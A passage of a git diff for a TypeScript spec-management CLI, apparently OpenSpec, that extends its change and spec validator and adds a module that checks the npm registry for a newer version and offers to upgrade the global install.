declared, and unreadable specs/ (a stray + // `specs` file, permission errors) fails closed as a conflict: the marker + // claims nothing is there, and validate must not crash where the + // historical path degraded to "no deltas". + const skipSpecs = marker.declared; + let specsDirHasFiles = false; + if (skipSpecs) { + try { + specsDirHasFiles = await hasAnyFileUnder(specsDir); + } catch { + specsDirHasFiles = true; + } + } + if (skipSpecs && specsDirHasFiles) { + issues.push({ level: 'ERROR', path: 'file', message: VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_CONFLICT }); + } + + // The root-level error already names the file and the fix; adding "No + // deltas found" on top would contradict it, since the deltas are sitting in + // the file just reported. + if (totalDeltas === 0 && !hasRootLevelSpec) { + if (skipSpecs && !specsDirHasFiles) { + issues.push({ level: 'INFO', path: 'file', message: VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_ACCEPTED }); + } else if (!skipSpecs) { + issues.push({ level: 'ERROR', path: 'file', message: this.enrichTopLevelError('change', VALIDATION_MESSAGES.CHANGE_NO_DELTAS) }); + } + } + + if (options.projectRoot) { + issues.push(...await this.collectTaskNumberingIssues(changeDir, options.projectRoot)); } return this.createReport(issues); } + private async collectTaskNumberingIssues( + changeDir: string, + projectRoot: string + ): Promise<ValidationIssue[]> { + try { + const schemaName = resolveSchemaForChange(changeDir, undefined, projectRoot).replace( + /\.ya?ml$/, + '' + ); + const schemaDir = getSchemaDir(schemaName, projectRoot); + const builtInSchemaDir = path.join(getPackageSchemasDir(), 'spec-driven'); + if ( + schemaName !== 'spec-driven' || + schemaDir === null || + FileSystemUtils.canonicalizeExistingPath(schemaDir) !== + FileSystemUtils.canonicalizeExistingPath(builtInSchemaDir) + ) { + return []; + } + } catch { + return []; + } + + let taskFiles: string[]; + try { + taskFiles = resolveTaskFilesForChange(changeDir, projectRoot); + } catch { + return []; + } + if (taskFiles.length === 0) { + taskFiles = [path.join(changeDir, 'tasks.md')]; + } + + const documents: Array<{ path: string; content: string }> = []; + for (const taskFile of taskFiles) { + let content: string; + try { + content = await fs.readFile(taskFile, 'utf-8'); + } catch { + continue; + } + + documents.push({ + path: FileSystemUtils.toPosixPath(path.relative(changeDir, taskFile)), + content, + }); + } + + documents.sort((left, right) => left.path.localeCompare(right.path)); + return findTaskNumberingIssues(documents).map((issue) => ({ + level: 'WARNING', + path: issue.path, + line: issue.line, + message: issue.message, + })); + } + + /** + * Report MODIFIED requirements whose block omits a scenario the main spec + * still carries. Uses the same comparison archive applies, so validate can + * only report what archive would refuse. + * + * Silent when the main spec or the requirement header is absent: applying a + * MODIFIED against a base that is not there yet is a different failure (a + * sister change still in flight is the legitimate case), and archive is the + * gate for it. A spec that exists but cannot be read is not absent, though — + * archive aborts on it, so reporting it beats calling the change valid. + */ + private async findScenarioLossIssues( + modified: RequirementBlock[], + renamed: Array<{ from: string; to: string }>, + mainSpecFile: string, + entryPath: string, + mainSpecRoot: string + ): Promise<ValidationIssue[]> { + let mainContent: string; + FileSystemUtils.assertPathWithin(mainSpecRoot, mainSpecFile); + try { + mainContent = await fs.readFile(mainSpecFile, 'utf-8'); + } catch (error) { + const code = (error as NodeJS.ErrnoException)?.code; + // Reported only for the codes that mean the file itself is unusable, and + // will be just as unusable when archive reads it. Everything else - + // ENOENT/ENOTDIR ("no main spec"), and transient resource errors like + // EMFILE that say nothing about the file - stays silent rather than + // failing a change that is fine. `validate --all` reads six changes at + // once, so a resource error must never become a verdict. + const UNUSABLE = new Set(['EACCES', 'EPERM', 'EISDIR', 'ELOOP', 'ENAMETOOLONG']); + if (!code || !UNUSABLE.has(code)) return []; + return [ + { + level: 'ERROR', + path: entryPath, + message: + `Could not read ${FileSystemUtils.toPosixPath(mainSpecFile)} to check the MODIFIED requirements against it ` + + `(${code}). Archive reads the same file, so fix the file before archiving.`, + }, + ]; + } + + const currentBlocks = new Map<string, RequirementBlock>(); + for (const block of extractRequirementsSection(mainContent).bodyBlocks) { + currentBlocks.set(normalizeRequirementName(block.name), block); + } + // Archive applies RENAMED before MODIFIED, so a MODIFIED naming the new + // header is compared against the renamed block's scenarios. Fall back to + // the old header, or a rename-plus-modify pair would skip the check. + const renamedFrom = new Map( + renamed.map(({ from, to }) => [normalizeRequirementName(to), normalizeRequirementName(from)]) + ); + + // Walked, not looked up once: renames chain (A→B then B→C leaves C holding + // A's block), and the visited set stops a cycle from looping forever. Every + // name in a rename cycle is also a rename FROM, so the skip above already + // keeps the walk out of one; the guard stays because the cost of being + // wrong about that is a hung CLI, not a wrong message. + const currentBlockFor = (name: string): RequirementBlock | undefined => { + const visited = new Set<string>(); + let key: string | undefined = name; + while (key !== undefined && !visited.has(key)) { + const block = currentBlocks.get(key); + if (block) return block; + visited.add(key); + key = renamedFrom.get(key); + } + return undefined; + }; + + // A MODIFIED naming a header the same delta renames away is already + // reported ("MODIFIED references old name from RENAMED"), and the block it + // would land on is not the one it names — so any scenario named here would + // send the author after the wrong requirement. + const renamedAway = new Set(renamed.map(({ from }) => normalizeRequirementName(from))); + + const issues: ValidationIssue[] = []; + for (const block of modified) { + const key = normalizeRequirementName(block.name); + if (renamedAway.has(key)) continue; + const current = currentBlockFor(key); + if (!current) continue; + const missing = findMissingCurrentScenarios(current, block); + if (missing.length === 0) continue; + issues.push({ + level: 'ERROR', + path: entryPath, + message: + `MODIFIED "${block.name}" omits scenario(s) the current spec still has: ` + + `${missing.map(name => `"${name}"`).join(', ')}. ` + + 'Copy them into the MODIFIED block (a MODIFIED requirement replaces the whole block, so archive refuses to drop them).', + }); + } + return issues; + } + + private formatInvalidMarkerMessage(invalidReason: string): string { + return `${VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA} (${invalidReason})`; + } + private convertZodErrors(error: ZodError): ValidationIssue[] { return error.issues.map(err => { let message = err.message; @@ -315,7 +665,7 @@ export class Validator { message: VALIDATION_MESSAGES.REQUIREMENT_TOO_LONG, }); } - + if (req.scenarios.length === 0) { issues.push({ level: 'WARNING', @@ -324,7 +674,34 @@ export class Validator { }); } }); - + + // SHALL/MUST body-keyword guidance for main specs (#1156, #243). The main-spec + // parser collapses the requirement header into `text`, so we recover the + // header+body pairs here (the same source the delta path trusts) and reuse + // the delta detection. A non-empty body that omits the English keyword gets + // guidance, while a missing body remains an error. Emitted exactly once per + // requirement (the Zod refine that used to emit a generic error is removed). + extractRequirementsSection(content).bodyBlocks.forEach((block, index) => { + const requirementText = this.extractRequirementText(block.raw); + if (!requirementText) { + issues.push({ + level: 'ERROR', + path: `requirements[${index}]`, + message: this.buildMissingShallOrMustMessage(`Requirement "${block.name}"`, block.name), + }); + } else if (!this.containsShallOrMust(requirementText)) { + issues.push({ + level: 'WARNING', + path: `requirements[${index}]`, + message: this.buildMissingShallOrMustMessage( + `Requirement "${block.name}"`, + block.name, + true + ), + }); + } + }); + return issues; } @@ -413,40 +790,46 @@ export class Validator { } private extractRequirementText(blockRaw: string): string | undefined { - const lines = blockRaw.split('\n'); - // Skip header line (index 0) - let i = 1; - - // Find the first substantial text line, skipping metadata and blank lines - for (; i < lines.length; i++) { - const line = lines[i]; - - // Stop at scenario headers - if (/^####\s+/.test(line)) break; - - const trimmed = line.trim(); - - // Skip blank lines - if (trimmed.length === 0) continue; - - // Skip metadata lines (lines starting with ** like **ID**, **Priority**, etc.) - if (/^\*\*[^*]+\*\*:/.test(trimmed)) continue; - - // Found first non-metadata, non-blank line - this is the requirement text - return trimmed; - } - - // No requirement text found - return undefined; + // Delegate to the shared, fence-/metadata-/multi-line-aware body reader. + // Validation intentionally does not use the parser/display header-title + // fallback for canonical `### Requirement:` blocks: #1280 requires a + // SHALL/MUST that appears only in the header to receive the body-keyword + // hint. Line 0 is the `### Requirement: ...` header. + const [, ...bodyLines] = blockRaw.split('\n'); + return extractRequirementBodyShared(bodyLines) || undefined; } private containsShallOrMust(text: string): boolean { - return /\b(SHALL|MUST)\b/.test(text); + return containsShallOrMustShared(text); + } + + /** + * Build a message for a requirement block whose body lacks SHALL/MUST. + * + * When the SHALL/MUST keyword already appears in the requirement header (e.g. + * `### Requirement: The system SHALL ...`) the original generic error + * ("must contain SHALL or MUST") is confusing because the keyword is visibly + * present in the spec. Per the OpenSpec conventions the keyword has to live + * on the requirement body line (the line right after the header), so we point + * the author at that exact fix when the keyword is found in the header only. + */ + private buildMissingShallOrMustMessage( + prefix: string, + blockName: string, + guidanceOnly = false + ): string { + const base = `${prefix} ${guidanceOnly ? 'should' : 'must'} contain SHALL or MUST`; + const suffix = guidanceOnly ? ' (RFC 2119 best practice for English specs)' : ''; + if (this.containsShallOrMust(blockName)) { + return `${base} in the requirement body, not only in the header. Move the SHALL/MUST statement to the line immediately after the "### Requirement: ..." header.${suffix}`; + } + return `${base}${suffix}`; } private countScenarios(blockRaw: string): number { - const matches = blockRaw.match(/^####\s+/gm); - return matches ? matches.length : 0; + // Fence-aware count via the shared reader: a `#### Scenario:` inside a fenced + // example is not a real scenario. Drop the header line (index 0). + return countScenariosShared(blockRaw.split('\n').slice(1)); } private formatSectionList(sections: string[]): string { diff --git a/src/core/version-check.ts b/src/core/version-check.ts new file mode 100644 index 0000000000..fd5b05c564 --- /dev/null +++ b/src/core/version-check.ts @@ -0,0 +1,808 @@ +import fs from 'fs'; +import http from 'http'; +import https from 'https'; +import path from 'path'; +import { createRequire } from 'module'; +import chalk from 'chalk'; +import { isCiEnvironment } from '../utils/ci.js'; +import { getGlobalConfig } from './global-config.js'; + +const require = createRequire(import.meta.url); +const { name: PACKAGE_NAME, version: OPENSPEC_VERSION } = require('../../package.json'); + +const DEFAULT_REGISTRY = 'https://registry.npmjs.org'; +const REQUEST_TIMEOUT_MS = 1500; +const MAX_RESPONSE_BYTES = 256 * 1024; +const VERSION_PROBE_TIMEOUT_MS = 5000; +const MAX_REDIRECTS = 3; + +/** + * A version we are willing to print. The registry only ever serves SemVer here, + * so anything else is either a broken mirror or a hostile response — and since + * this string lands in the terminal next to an install command, an unvalidated + * one could smuggle ANSI cursor controls and repaint the lines around it. + */ +const SAFE_VERSION = /^\d{1,10}\.\d{1,10}\.\d{1,10}(?:-[0-9A-Za-z.-]{1,64})?(?:\+[0-9A-Za-z.-]{1,64})?$/; + +/** + * The check is opt-out and must never get in the way: no network in CI or + * tests, an explicit escape hatch for anyone offline or air-gapped, and the + * same privacy signals telemetry already honors — a user who set DO_NOT_TRACK + * or telemetry.enabled false did not agree to a different outbound request. + */ +function isCheckEnabled(): boolean { + if (process.env.OPENSPEC_NO_UPDATE_CHECK !== undefined) return false; + if (process.env.DO_NOT_TRACK === '1') return false; + if (process.env.OPENSPEC_TELEMETRY === '0') return false; + if (isCiEnvironment()) return false; + if (process.env.NODE_ENV === 'test') return false; + // Same config opt-out as telemetry (env remains the hard override above). + if (getGlobalConfig().telemetry?.enabled === false) return false; + return true; +} + +/** + * The registry to ask: only the environment variable npm exports (under + * `npm run`, or an explicit export). Deliberately not a `registry=` line from + * any .npmrc — letting file contents choose the destination of an outbound + * request is a flow worth avoiding for a convenience this small, and a project + * file would travel with a cloned repository. Anyone on a private mirror can + * export `npm_config_registry`, or turn the check off entirely. + */ +export function registryUrl(): string { + const configured = process.env.npm_config_registry?.trim(); + const base = configured && /^https?:\/\//i.test(configured) ? configured : DEFAULT_REGISTRY; + return `${base.replace(/\/+$/, '')}/${PACKAGE_NAME}/latest`; +} + +/** + * Compares two prerelease tags per SemVer: dot-separated identifiers compared + * one by one, numeric identifiers numerically (so beta.10 > beta.2), numeric + * ranking below alphanumeric, and a longer identifier list winning ties. + */ +function comparePrerelease(a: string, b: string): number { + if (a === b) return 0; + if (a === '') return 1; + if (b === '') return -1; + + const left = a.split('.'); + const right = b.split('.'); + + for (let i = 0; i < Math.max(left.length, right.length); i++) { + const l = left[i]; + const r = right[i]; + if (l === undefined) return -1; + if (r === undefined) return 1; + + const lNumeric = /^\d+$/.test(l); + const rNumeric = /^\d+$/.test(r); + + if (lNumeric && rNumeric) { + const diff = Number.parseInt(l, 10) - Number.parseInt(r, 10); + if (diff !== 0) return diff > 0 ? 1 : -1; + continue; + } + if (lNumeric !== rNumeric) return lNumeric ? -1 : 1; + if (l !== r) return l > r ? 1 : -1; + } + + return 0; +} + +/** + * Compares two semver-ish versions. Returns 1 when a > b, -1 when a < b, 0 + * otherwise. Prereleases sort below their release (1.7.0-beta.1 < 1.7.0). + */ +export function compareVersions(a: string, b: string): number { + const parse = (version: string) => { + const withoutBuild = version.trim().replace(/^v/, '').split('+', 1)[0] ?? ''; + const separator = withoutBuild.indexOf('-'); + const core = separator === -1 ? withoutBuild : withoutBuild.slice(0, separator); + const prerelease = separator === -1 ? '' : withoutBuild.slice(separator + 1); + const parts = core.split('.').map((n) => Number.parseInt(n, 10)); + return { + numbers: [parts[0] || 0, parts[1] || 0, parts[2] || 0], + prerelease, + }; + }; + + const left = parse(a); + const right = parse(b); + + for (let i = 0; i < 3; i++) { + if (left.numbers[i] > right.numbers[i]) return 1; + if (left.numbers[i] < right.numbers[i]) return -1; + } + + return comparePrerelease(left.prerelease, right.prerelease); +} + +/** + * Reads the `latest` dist-tag. Sends no custom Accept header: the registry + * answers `/<pkg>/latest` with 406 for npm's abbreviated-metadata type, which + * it only serves on the full packument. + * + * Uses node:http(s) rather than fetch so the timeout can destroy the socket. + * Aborting a fetch that is still completing its TCP handshake — a firewall + * dropping packets, a captive portal — leaves the connect handle open and the + * CLI cannot exit until the OS gives up, long after the hint has printed. + */ +function fetchLatestVersion(): Promise<string | null> { + return new Promise((resolve) => { + let settled = false; + let timer: ReturnType<typeof setTimeout> | undefined; + const finish = (version: string | null) => { + if (settled) return; + settled = true; + if (timer) clearTimeout(timer); + resolve(version); + }; + + let url: URL; + try { + url = new URL(registryUrl()); + } catch { + resolve(null); + return; + } + + // Mirrors and corporate front-ends redirect; without following one the + // check would be permanently and silently dead for them. + let redirectsLeft = MAX_REDIRECTS; + + // The budget timer must tear down whichever request is open when it + // fires. Closing over the first hop's request would leave a redirected + // socket alive: a target that trickles bytes keeps resetting its idle + // timeout, and only the body-size cap would end it. + let activeRequest: http.ClientRequest | undefined; + + const send = (target: URL): void => { + const request = (target.protocol === 'http:' ? http : https).get( + target, + { timeout: REQUEST_TIMEOUT_MS }, + (response) => { + const status = response.statusCode ?? 0; + const location = response.headers.location; + + if (status >= 300 && status < 400 && location) { + response.resume(); + request.destroy(); + if (redirectsLeft <= 0) { + finish(null); + return; + } + redirectsLeft -= 1; + try { + const next = new URL(location, target); + // Never follow a downgrade to plain http: a MITM on the reply + // would control the "newer version" answer. + const downgrade = target.protocol === 'https:' && next.protocol === 'http:'; + if (!downgrade && (next.protocol === 'http:' || next.protocol === 'https:')) { + send(next); + return; + } + } catch { + // Unparseable Location. + } + finish(null); + return; + } + + if (status !== 200) { + response.resume(); + request.destroy(); + finish(null); + return; + } + + let body = ''; + response.setEncoding('utf-8'); + response.on('data', (chunk: string) => { + body += chunk; + // The dist-tag document is small; refuse to buffer a firehose. + if (body.length > MAX_RESPONSE_BYTES) { + request.destroy(); + finish(null); + } + }); + response.on('end', () => { + try { + const parsed = JSON.parse(body) as { version?: unknown }; + const version = parsed.version; + finish(typeof version === 'string' && SAFE_VERSION.test(version) ? version : null); + } catch { + finish(null); + } + }); + response.on('error', () => finish(null)); + } + ); + + activeRequest = request; + + request.on('timeout', () => { + request.destroy(); + finish(null); + }); + request.on('error', () => finish(null)); + + // One budget for the whole exchange, redirects included. + if (!timer) { + timer = setTimeout(() => { + activeRequest?.destroy(); + finish(null); + }, REQUEST_TIMEOUT_MS); + } + }; + + send(url); + }); +} + +/** + * Returns the published version when the installed CLI is behind it, otherwise + * null. Never throws and never blocks for longer than the request timeout. + */ +export async function getAvailableCliUpdate(): Promise<string | null> { + if (!isCheckEnabled()) return null; + + try { + const latest = await fetchLatestVersion(); + if (!latest) return null; + return compareVersions(latest, OPENSPEC_VERSION) > 0 ? latest : null; + } catch { + return null; + } +} + +/** + * Directory the running CLI was loaded from, or null when it cannot be + * resolved. Shown in the upgrade hint so anyone who upgraded but still runs an + * old binary — a stale pnpm/volta/npx shim, or two installs on PATH — can see + * which copy is actually answering. + */ +export function getInstallDir(): string | null { + try { + return path.dirname(require.resolve('../../package.json')); + } catch { + return null; + } +} + +/** + * True when the running CLI resolves from a `node_modules` belonging to the + * project being updated or any ancestor of it — the hoisted-root layout npm and + * pnpm workspaces produce. Anchored on the target path rather than the working + * directory, since `openspec update <path>` and running from a sub-package are + * both normal. Never throws: process.cwd() fails when the directory has been + * deleted, and a wrong upgrade hint must not take down a successful update. + */ +export function isProjectLocalInstall( + installDir: string | null, + projectPath: string = '.' +): boolean { + if (!installDir) return false; + + // Windows paths differ in case and drive-letter casing between sources. + const normalize = (value: string) => + process.platform === 'win32' ? value.toLowerCase() : value; + + try { + let dir = path.resolve(projectPath); + const target = normalize(installDir); + + for (;;) { + if (target.startsWith(normalize(path.join(dir, 'node_modules') + path.sep))) { + return true; + } + const parent = path.dirname(dir); + if (parent === dir) return false; + dir = parent; + } + } catch { + return false; + } +} + +/** + * True for the throwaway caches npx/pnpm dlx/bunx unpack into. Telling those + * users to install globally would create the second copy on PATH they were + * deliberately avoiding. + */ +export function isEphemeralRunnerInstall(installDir: string | null): boolean { + if (!installDir) return false; + const segments = installDir.split(/[\\/]/).map((segment) => segment.toLowerCase()); + return segments.some( + (segment, i) => + segment === '_npx' || + segment === '_bunx' || + // Only a package manager's own cache, never a user directory that + // happens to be called "dlx". Windows uses pnpm-cache for the same job. + (segment === 'dlx' && + ['pnpm', 'bun', '.pnpm', 'pnpm-cache', 'bun-cache'].includes(segments[i - 1] ?? '')) + ); +} + +/** + * Directories npm installs global packages into. Derived from the running node + * rather than by shelling out to `npm prefix -g`, which would cost more than + * the version check itself. Only a hint: `process.execPath` is realpath'd, so + * on Homebrew it lands in the Cellar rather than the brew prefix — which is + * why the install's own layout is the primary signal below. + */ +export function npmGlobalRoots(): string[] { + const roots: string[] = []; + const nodeDir = path.dirname(process.execPath); + + if (process.platform === 'win32') { + roots.push(path.join(nodeDir, 'node_modules')); + if (process.env.APPDATA) { + roots.push(path.join(process.env.APPDATA, 'npm', 'node_modules')); + } + } else { + roots.push(path.resolve(nodeDir, '..', 'lib', 'node_modules')); + } + + const prefix = process.env.npm_config_prefix; + if (prefix) { + roots.push( + process.platform === 'win32' + ? path.join(prefix, 'node_modules') + : path.join(prefix, 'lib', 'node_modules') + ); + } + + return roots; +} + +/** + * The prefix of an npm global install, read from the install's own shape: + * `<prefix>/lib/node_modules/<pkg>` on POSIX, `<prefix>/node_modules/<pkg>` on + * Windows. Self-describing, so it holds for Homebrew, nvm, Debian and anywhere + * else npm's prefix is not derivable from the node binary. Null when the + * layout does not match. + */ +export function npmPrefixFromInstallDir(installDir: string | null): string | null { + if (!installDir) return null; + + let dir = installDir; + for (;;) { + const parent = path.dirname(dir); + if (parent === dir) return null; + if (path.basename(dir).toLowerCase() === 'node_modules') break; + dir = parent; + } + + const container = path.dirname(dir); + if (process.platform === 'win32') return container; + // POSIX npm always nests the root under lib/. + return path.basename(container).toLowerCase() === 'lib' ? path.dirname(container) : null; +} + +/** + * True only when npm itself owns this copy. Everything else — a pnpm, bun, + * yarn or volta global — would be made worse by `npm install -g`, which adds a + * second copy that may not even be the one on PATH. + */ +export function isNpmGlobalInstall( + installDir: string | null, + roots: string[] = npmGlobalRoots() +): boolean { + if (!installDir) return false; + // Another manager's layout can still look like npm's (volta nests a whole + // node install), so who owns it is decided before where it sits. + if (detectPackageManager(installDir) !== 'npm') return false; + + const normalize = (value: string) => + process.platform === 'win32' ? value.toLowerCase() : value; + const target = normalize(installDir); + if (roots.some((root) => target.startsWith(normalize(root + path.sep)))) return true; + + // The derived roots miss any prefix that is not beside the node binary, so + // fall back to the install's own shape plus the bin directory npm would + // have written the shim into. + const prefix = npmPrefixFromInstallDir(installDir); + if (!prefix) return false; + try { + // Corroborate with something npm itself wrote: the bin dir on POSIX, the + // .cmd shim on Windows. The prefix alone proves nothing — it is just the + // parent of the node_modules dir the CLI resolved from, so a hand-copied + // portable tree would pass and be offered an npm upgrade it never had. + return fs.existsSync( + process.platform === 'win32' ? path.join(prefix, 'openspec.cmd') : path.join(prefix, 'bin') + ); + } catch { + return false; + } +} + +/** + * True when the CLI is running from a clone rather than an install. Upgrade + * advice is meaningless there: the version is whatever the branch says. + */ +export function isSourceCheckout(installDir: string | null): boolean { + if (!installDir) return false; + try { + return fs.existsSync(path.join(installDir, '.git')); + } catch { + return false; + } +} + +export type PackageManager = 'npm' | 'pnpm' | 'bun' | 'yarn' | 'volta'; + +/** + * The package manager that owns this copy, so the printed command is one the + * user's setup will actually honor. + */ +export function detectPackageManager(installDir: string | null): PackageManager { + // Lowercased because the Windows directories are capitalized and undotted: + // %LOCALAPPDATA%\\Volta, \\Yarn\\Data, \\pnpm-cache. + const segments = (installDir ?? '').split(/[\\/]/).map((segment) => segment.toLowerCase()); + const has = (...names: string[]) => names.some((name) => segments.includes(name)); + + // The undotted spelling exists for Windows (%LOCALAPPDATA%\Volta), whose + // layout nests tools\image; require both segments so a user or project + // directory merely named "volta" (even one with its own "tools" dir) does + // not steal the install. + if (has('.volta') || (has('volta') && has('tools') && has('image'))) return 'volta'; + if (has('.bun')) return 'bun'; + // These two need a corroborating segment: a directory merely named "pnpm" or + // "yarn" (a user's home, a project) is not a global install of one. + if (has('.pnpm-global', 'pnpm-cache')) return 'pnpm'; + if (has('pnpm') && has('global', 'dlx', 'store')) return 'pnpm'; + if (has('.yarn') || (has('yarn') && has('global'))) return 'yarn'; + return 'npm'; +} + +const GLOBAL_UPGRADE_COMMANDS: Record<PackageManager, string> = { + npm: `npm install -g ${PACKAGE_NAME}@latest`, + pnpm: `pnpm add -g ${PACKAGE_NAME}@latest`, + bun: `bun add -g ${PACKAGE_NAME}@latest`, + yarn: `yarn global add ${PACKAGE_NAME}@latest`, + volta: `volta install ${PACKAGE_NAME}@latest`, +}; + +/** + * Builds the hint, with the upgrade command chosen for how this copy of the CLI + * was installed. Pure so every branch is assertable. + */ +export function buildCliUpdateLines( + latestVersion: string, + installDir: string | null, + projectPath: string, + options: { withCommand?: boolean } = {} +): string[] { + const lines = [`A newer OpenSpec CLI is available (v${OPENSPEC_VERSION} → v${latestVersion}).`]; + + // Omitted when we are about to offer to run it — printing a command and then + // asking to run that same command reads like the user has to do both. + if (options.withCommand !== false) { + lines.push(...buildUpgradeCommandLines(installDir, projectPath)); + } + if (installDir) { + lines.push(` Running from: ${installDir}`); + } + + return lines; +} + +/** + * The upgrade command for however this copy was installed, plus the reminder + * that instruction files come from the CLI and so need a second pass. + */ +export function buildUpgradeCommandLines( + installDir: string | null, + projectPath: string +): string[] { + const lines: string[] = []; + + if (isEphemeralRunnerInstall(installDir)) { + // That command *is* the update, so there is nothing to run afterwards. + lines.push(` npx ${PACKAGE_NAME}@latest update`); + return lines; + } + + if (isProjectLocalInstall(installDir, projectPath)) { + // Its package manager owns the lockfile; naming npm could be wrong. + lines.push(` Update the ${PACKAGE_NAME} dependency in this project.`); + } else { + lines.push(` ${GLOBAL_UPGRADE_COMMANDS[detectPackageManager(installDir)]}`); + } + + lines.push(' Then run "openspec update" again to pick up new workflows.'); + return lines; +} + +// cross-spawn resolves npm's shim on Windows, where spawning "npm" directly +// fails. Loaded lazily so ordinary runs skip its module graph. +let cachedSpawn: typeof import('child_process').spawn | undefined; +function loadSpawn(): typeof import('child_process').spawn { + if (cachedSpawn === undefined) { + cachedSpawn = require('cross-spawn') as typeof import('child_process').spawn; + } + return cachedSpawn; +} + +/** + * Whether we can run the upgrade for the user instead of only printing it. + * + * Only an npm-owned global install qualifies, because `npm install -g` is the + * only command we run: a pnpm/bun/yarn/volta global would get a second copy + * that may not be the one on PATH, a project dependency belongs to that + * project's package manager, an npx/dlx cache has nothing to upgrade, and a + * source checkout is not an install at all. + */ +export function canSelfUpgrade(installDir: string | null, projectPath: string): boolean { + if (!installDir) return false; + if (isEphemeralRunnerInstall(installDir)) return false; + // Both anchors matter: `openspec update ../other` from a project that owns + // the CLI as a dependency is still a project-local install. + if (isProjectLocalInstall(installDir, projectPath)) return false; + if (isProjectLocalInstall(installDir)) return false; + if (isSourceCheckout(installDir)) return false; + return isNpmGlobalInstall(installDir); +} + +/** + * Whether to offer the upgrade rather than just print the command. Kept here, + * as a pure function of the environment, because the interesting mistakes live + * in this decision: offering where `npm install -g` cannot help, or asking a + * question no one can answer. + */ +export function shouldOfferUpgrade(params: { + installDir: string | null; + projectPath: string; + interactive: boolean; + stdoutIsTty: boolean; +}): boolean { + // A prompt written to a redirected stdout is a question the user never sees + // and the command waits on forever. + if (!params.interactive || !params.stdoutIsTty) return false; + return canSelfUpgrade(params.installDir, params.projectPath); +} + +/** + * Runs `npm install -g <pkg>@latest`, inheriting stdio so npm's own output — + * including any auth or permission prompt — reaches the user directly. + * Resolves true only on a clean exit. + */ +async function runGlobalUpgrade(): Promise<boolean> { + const spawn = loadSpawn(); + + return new Promise((resolve) => { + const child = spawn('npm', ['install', '-g', `${PACKAGE_NAME}@latest`], { + stdio: 'inherit', + }); + child.on('error', () => resolve(false)); + child.on('close', (code) => resolve(code === 0)); + }); +} + +/** + * The `openspec` npm installs alongside its global package, so the upgrade can + * be handed to the copy npm just wrote rather than to whatever PATH resolves. + * Null when it cannot be found, in which case PATH is the only option left. + */ +export function upgradedBinPath( + roots: string[] = npmGlobalRoots(), + installDir: string | null = getInstallDir() +): string | null { + // The copy npm just replaced tells us exactly which prefix it wrote to; + // a root derived from the node binary can point at an unrelated install. + const ownPrefix = npmPrefixFromInstallDir(installDir); + const ordered = ownPrefix + ? [ + process.platform === 'win32' + ? path.join(ownPrefix, 'node_modules') + : path.join(ownPrefix, 'lib', 'node_modules'), + ...roots, + ] + : roots; + + for (const root of ordered) { + // npm writes the shim beside the global root on Windows + // (%APPDATA%\\npm\\openspec.cmd) and in <prefix>/bin on POSIX. + const candidates = + process.platform === 'win32' + ? [path.join(path.dirname(root), 'openspec.cmd')] + : [path.resolve(root, '..', '..', 'bin', 'openspec')]; + + for (const candidate of candidates) { + try { + if (fs.existsSync(candidate)) return candidate; + } catch { + // Unreadable candidate; try the next one. + } + } + } + return null; +} + +/** + * Asks a CLI binary its version. Used to confirm an upgrade actually landed: + * `npm install -g` exits 0 even when it installed nothing, so its exit code + * alone cannot justify telling the user they are on a new version. + */ +export function readCliVersion(binPath: string): Promise<string | null> { + const spawn = loadSpawn(); + + return new Promise((resolve) => { + let output = ''; + let child; + try { + child = spawn(binPath, ['--version'], { stdio: ['ignore', 'pipe', 'ignore'] }); + } catch { + resolve(null); + return; + } + + // Never let a probe hold the CLI open: a wrapper that traps SIGTERM would + // otherwise keep the process alive for as long as it runs. + child.unref(); + const timer = setTimeout(() => { + child.kill('SIGKILL'); + resolve(null); + }, VERSION_PROBE_TIMEOUT_MS); + + child.stdout?.on('data', (chunk: Buffer) => { + output += chunk.toString(); + }); + child.on('error', () => { + clearTimeout(timer); + resolve(null); + }); + child.on('close', () => { + clearTimeout(timer); + // A line that is only a version, not the first version-shaped token + // anywhere: a wrapper banner ("Node.js v25.8.1 | OpenSpec") would + // otherwise be read as the answer. + const version = output + .split(/\r?\n/) + .map((line) => line.trim()) + .filter((line) => SAFE_VERSION.test(line.replace(/^v/, ''))) + .pop(); + resolve(version ? version.replace(/^v/, '') : null); + }); + }); +} + +export type UpgradeOutcome = 'upgraded' | 'declined' | 'failed' | 'cancelled' | 'not-on-path'; + +function isPromptCancellation(error: unknown): boolean { + const name = (error as { name?: string } | undefined)?.name; + return name === 'ExitPromptError' || name === 'AbortPromptError'; +} + +/** + * Offers to run the upgrade and reports what actually happened. The version is + * read back from the installed binary rather than assumed, so "upgraded" is a + * fact and a PATH that still answers with the old copy is caught here instead + * of silently doing nothing. + */ +export async function offerCliUpgrade(latestVersion: string): Promise<UpgradeOutcome> { + const { confirm } = await import('@inquirer/prompts'); + + let accepted = false; + try { + accepted = await confirm({ + message: `Upgrade to v${latestVersion} now?`, + default: true, + }); + } catch (error) { + // Ctrl-C means stop, not "no thanks, carry on with everything else". + return isPromptCancellation(error) ? 'cancelled' : 'declined'; + } + if (!accepted) return 'declined'; + + console.log(); + const installed = await runGlobalUpgrade(); + console.log(); + + if (!installed) { + console.log(chalk.yellow('The upgrade did not complete. A global install may need')); + console.log(chalk.yellow('elevated permissions, or a different package manager.')); + return 'failed'; + } + + const binPath = upgradedBinPath(); + const version = await readCliVersion(binPath ?? 'openspec'); + + if (!version) { + console.log(chalk.yellow('Upgrade finished, but no "openspec" could be run to confirm it.')); + return 'not-on-path'; + } + if (compareVersions(version, OPENSPEC_VERSION) <= 0) { + console.log(chalk.yellow(`Upgrade finished, but "openspec" still reports v${version}.`)); + console.log( + chalk.dim( + binPath + ? // We asked the installed copy directly, so PATH is not the story. + ` npm reported success, but ${binPath} did not change.` + : ' Another install earlier on your PATH is answering first.' + ) + ); + return 'not-on-path'; + } + + console.log(chalk.green(`✓ Upgraded to v${version}.`)); + return 'upgraded'; +} + +/** + * Runs `openspec update` again with the CLI that was just installed — this + * process is still the old code, so it cannot write the new workflows itself. + * Resolves the exit code to pass along; when no `openspec` is on PATH the + * upgrade still landed but nothing was regenerated, so it says so and + * resolves 0 rather than reporting a failure the upgrade did not have. + */ +export async function rerunUpdateWithUpgradedCli( + projectPath: string, + options: { force?: boolean; binPath?: string } = {} +): Promise<number> { + const spawn = loadSpawn(); + const binPath = options.binPath ?? upgradedBinPath() ?? 'openspec'; + // The re-run stands in for the command the user typed, so it has to carry + // the flags they typed with it. + const args = ['update']; + if (options.force) args.push('--force'); + // `--` so a path that looks like a flag stays a path. + args.push('--', projectPath); + + return new Promise((resolve) => { + const child = spawn(binPath, args, { + stdio: 